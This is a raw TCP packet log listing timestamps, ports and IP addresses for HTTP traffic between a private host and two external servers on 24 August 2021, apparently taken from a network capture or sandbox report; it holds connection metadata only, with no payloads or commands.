Aug 24, 2021 14:01:43.812880993 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812900066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812918901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.812928915 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.813013077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813041925 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.813041925 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813075066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813081026 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.813097000 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813116074 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.813177109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813224077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813247919 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.813271999 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813307047 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813314915 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.813333035 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813378096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813385010 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.813419104 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813453913 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813467979 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.813491106 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813525915 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.813527107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813551903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813574076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813596010 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.813601017 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813626051 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813642979 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.813649893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813673973 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813682079 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.813698053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813723087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813740015 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.813746929 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813770056 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813781977 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.813796043 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813819885 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.813829899 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.814223051 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814269066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814299107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814316034 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.814335108 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814359903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814368010 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.814384937 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814410925 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.814439058 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814464092 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814485073 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.814487934 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814512014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814532042 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.814536095 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814560890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814585924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814589024 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.814609051 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814630985 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.814635992 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814673901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814677954 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.814697981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814721107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814743996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814744949 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.814766884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814788103 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814807892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.814821959 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.814847946 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.815155983 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815192938 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815237999 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.815246105 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815287113 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815316916 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.815337896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815381050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815406084 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.815412045 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815432072 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815452099 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815453053 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.815470934 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815490961 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.815490961 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815511942 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815534115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815553904 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.815555096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815576077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815593958 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815608025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815625906 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.815629959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815651894 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815670013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815677881 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.815690041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815709114 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815717936 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.815726995 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.815746069 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.815804005 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.816009045 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816157103 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816195011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816215992 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.816220045 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816248894 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816257000 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.816293955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816317081 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816342115 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.816342115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816389084 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.816389084 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816431999 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816454887 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816479921 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.816490889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816514015 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816529989 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.816536903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816559076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816569090 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.816585064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816607952 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816626072 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.816634893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816659927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816678047 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.816684008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816706896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816724062 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.816730976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816754103 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.816773891 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.817138910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.817162037 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.817199945 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.817208052 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.817224026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.817246914 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.823280096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823329926 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823364019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823381901 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.823405981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823437929 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823442936 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.823484898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823488951 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.823508024 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.823523045 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823555946 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823570967 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.823604107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823640108 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823652029 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.823663950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823695898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823703051 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.823726892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823753119 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823760986 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.823776007 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823795080 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.823796988 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823821068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823834896 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.823844910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823867083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823880911 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.823890924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823909044 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.823915958 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823928118 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.823936939 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823959112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.823976994 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.823978901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824002028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824018955 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.824023008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824042082 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824059963 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.824065924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824091911 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824105024 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.824115038 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824136972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824157953 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824158907 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.824181080 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824203014 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.824206114 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.824227095 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.824251890 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.824287891 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.824323893 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.824358940 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.824368954 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.824385881 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.824393034 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.824399948 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.824419975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824419975 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.824450016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824467897 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824469090 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.824475050 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.824503899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824520111 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.824537039 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824570894 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824589968 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824606895 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.824616909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824637890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824657917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824667931 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.824677944 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824695110 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824723959 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.824736118 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824747086 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.824755907 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824780941 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824799061 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.824801922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824820042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824837923 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824843884 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.824858904 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824876070 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824882984 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.824893951 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824913025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.824924946 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.824969053 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.825284958 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825309992 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825393915 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.825414896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825438976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825457096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825474024 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825493097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825531006 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.825535059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825552940 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.825579882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825603008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825624943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825628996 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.825648069 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825665951 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.825670958 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825694084 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825717926 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.825717926 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825742960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825763941 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825777054 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.825787067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825809956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825817108 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.825831890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825854063 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.825874090 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.825906992 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.826378107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826416969 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826448917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826472998 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826491117 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.826493979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826515913 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826517105 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.826535940 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826555014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826564074 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.826579094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826601028 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.826602936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826628923 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826658964 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.826663971 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826688051 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826709032 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826711893 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.826735020 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826745033 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.826756954 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826777935 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826802969 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826809883 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.826824903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826847076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826848984 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.826869011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826889038 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826893091 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.826910973 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.826961994 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.827222109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827256918 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827286959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827291012 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.827316046 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827333927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827351093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827353001 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.827372074 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827393055 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.827414989 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.827415943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827449083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827466011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827486992 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827486992 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.827507019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827524900 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.827533007 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.827543020 CEST	80	49724	172.67.216.236	192.168.2.3
